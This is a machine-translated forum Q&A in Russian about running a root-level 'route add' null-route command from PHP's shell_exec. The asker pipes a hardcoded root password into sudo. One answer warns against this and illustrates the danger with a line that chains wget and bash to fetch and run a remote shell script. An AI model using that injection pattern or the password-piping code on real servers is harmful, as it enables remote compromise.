Я пытаюсь маршрутизировать add ip (Thats для нулевой маршрутизации ip, означает, что, предотвращая отправку пакетов на мой сервер, ему необходимо подключиться к серверу и запустить команду), другими словами, запретить ip.
Команда SSH
route add 50.50.50.50 gw 127.0.0.1 lo
Но я хочу использовать его в php, используя функцию shell_exec(). Пробовал это без везения.
Php
shell_exec("echo 'rootpass' | sudo -u root -S route add 50.50.50.50 gw 127.0.0.1 lo");
Это не дает мне ошибок, ничего. Каков правильный способ запуска этой команды в shell_exec()?
Поэтому в зависимости от того, какой HTTP-сервер вы используете (nginx, apache и т.д.), Если они правильно настроены, эти учетные записи служб не смогут выполнять эту команду, потому что у них нет привилегий на уровне root, чтобы выполнить изменения, которые вы хотите сделать если shell_exec включен.
Вы можете протестировать это, войдя в систему под учетной записью root, а при запуске apache выполните следующие команды:
su - apache (or whatever user apache is running as)
Это должно вернуться.
This account is currently not available.
Поскольку пользователь apache должен быть настроен с помощью nologin, это, теоретически, не должно работать. Однако вы можете добавить пользователя для проверки этого поведения с помощью "useradd".
Это было сказано... на моей виртуальной машине я воссоздал это для контекста. Я создал тестового пользователя и попытался запустить указанную вами команду. Вот результат (который также должен получить пользователь Apache)
[timgalyean@test ~]$ route add 50.50.50.50 gw 127.0.0.1 lo
SIOCADDRT: Operation not permitted
[timgalyean@test ~]$
Таким образом, вы можете видеть, что у пользователя нет разрешения на это. Вопреки задаче, это хорошо.
Кроме того, я бы лично посоветовал не идти по этому маршруту, так как shell_exec может привести к другим проблемам безопасности. Особенно если вы дадите свои разрешения пользователю выполнить это.
Еще одна вещь, которую я заметил, это то, что у вас есть sudo в вашей команде. Пользователь службы не должен иметь доступ к Sudo. Если бы я смог понять, что делает ваш php-скрипт, я могу создать что-то отличное, например..
shell_exec("echo 'rootpass' | sudo -u root -S route add 50.50.50.50 gw 127.0.0.1 lo ; wget url/myfile.txt; bash -c 'myfile.txt'");
Предполагая, что myfile.txt является оболочкой, я мог бы скомпрометировать ваш сервер через вашего пользователя службы, который для получения этой работы потребует доступа sudo.
пытаться:
$output = shell_exec("echo 'rootpass' | sudo -u root -S route add 50.50.50.50 gw 127.0.0.1 lo");
echo "<pre>$output</pre>";
shell_exec
принимает только один параметр; Вы хотели использоватьexec
?